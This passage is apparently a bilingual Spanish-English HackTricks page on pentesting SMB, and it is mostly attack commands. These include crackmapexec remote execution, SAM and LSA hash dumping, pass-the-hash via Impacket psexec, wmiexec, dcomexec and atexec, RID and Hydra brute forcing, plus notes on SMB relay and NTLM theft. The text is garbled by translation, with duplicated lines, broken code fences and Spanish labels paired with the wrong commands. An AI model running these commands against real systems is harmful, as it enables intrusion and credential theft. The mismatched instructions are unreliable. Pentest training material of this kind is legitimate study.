### **crackmapexec**
crackmapexec puede ejecutar comandos **abusando** de cualquiera de los métodos **mmcexec, smbexec, atexec, wmiexec** siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
apt-get install crackmapexec
```markdown
Instala crackmapexec con el siguiente comando:
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
apt-get install crackmapexec
```
Ejecuta Powershell con el siguiente comando:
```
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
```
Ejecuta cmd con el siguiente comando:
```
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
```
Realiza Pass-the-Hash con el siguiente comando:
```
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami
```
Usa el parámetro --exec-method {mmcexec,smbexec,atexec,wmiexec}
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam
```
Obtén el volcado de SAM con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa
```
Obtén las sesiones con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions
```
Obtén los usuarios que han iniciado sesión con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users
```
Enumera los discos con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks
```
Enumera los usuarios con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users
```
Enumera los grupos con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups
```
Enumera los grupos locales con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups
```
Obtén la política de contraseñas con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol
```
Realiza un ataque de fuerza bruta de RID con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute
```
Realiza Pass-The-Hash con el siguiente comando:
```
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH>
```
```
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ a través de SMB) en la máquina víctima y lo utilizarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --técnica sin archivo--).\
**Más información** sobre [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) y [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
#Si no se proporciona una contraseña, se solicitará
./psexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección>
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrador -p 123456Ww
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Usar pass the hash
```
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Ejecuta sigilosamente una shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través del **puerto 135.**\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
#Si no se proporciona una contraseña, se solicitará
./wmiexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección> #Solicitar contraseña
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
#Puedes agregar al final del comando un comando CMD que se ejecutará, si no lo haces, se solicitará un shell semi-interactivo
```
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**.
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
#Si no se proporciona una contraseña, se solicitará
./dcomexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección>
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
#Puedes agregar al final del comando un comando CMD que se ejecutará, si no lo haces, se solicitará un shell semi-interactivo
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Referencia de Impacket
./atexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección> "comando"
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"
```
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Fuerza bruta de credenciales de usuarios**
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
**Esto no es recomendable, ya que podrías bloquear una cuenta si excedes el número máximo de intentos permitidos.**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Ataque de relé SMB
```markdown
Ejecuta el comando `nmap --script smb-brute -p 445 <IP>` para realizar un ataque de fuerza bruta en el servicio SMB en el puerto 445.
Este ataque utiliza la herramienta Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, automáticamente se accede a una **shell del sistema**.\
[**Más información sobre este ataque aquí.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Utiliza el script `ridenum.py <IP> 500 50000 /root/passwds.txt` para obtener los nombres de usuario mediante un ataque de fuerza bruta en los RID y luego intenta realizar un ataque de fuerza bruta para cada nombre de usuario.
```
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
La biblioteca de Windows URLMon.dll intenta automáticamente autenticarse en el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
Esto sucede con las funciones:
This happens with the functions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Que son utilizadas por algunos navegadores y herramientas (como Skype)
Which are used by some browsers and tools (like Skype)
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
### SMBTrap usando MitMf
### SMBTrap using MitMf
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
## Robo de NTLM
## NTLM Theft
Similar al atrapamiento SMB, al colocar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) se puede provocar un intento de autenticación SMB, lo que permite interceptar el hash NetNTLMv2 con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de relé SMB](pentesting-smb.md#smb-relay-attack).
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[Ver: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
## HackTricks Automatic Commands
## Comandos automáticos de HackTricks
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
Name: Notas
Description: Notas para SMB
Note: |
Mientras que el puerto 139 se conoce técnicamente como 'NBT sobre IP', el puerto 445 es 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block en lenguaje moderno también se conoce como Common Internet File System. El sistema funciona como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos serie y otros tipos de comunicaciones entre nodos en una red.
#These are the commands I run in order every time I see an open SMB port
#Estos son los comandos que ejecuto en orden cada vez que veo un puerto SMB abierto
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
Sin credenciales
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
Con credenciales
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Name: Enum4Linux
Description: Escaneo SMB general
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Name: Nmap SMB Scan 1
Description: Escaneo de vulnerabilidades SMB con Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Name: Nmap Smb Scan 2
Description: Escaneo de vulnerabilidades SMB con Nmap (Menos específico)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Name: Hydra Brute Force
Description: Requiere usuario
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
Name: Enumeración SMB/SMB2 139/445 sin consola mfs
Description: Enumeración SMB/SMB2 139/445 sin necesidad de ejecutar msfconsole
Note: obtenido de https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>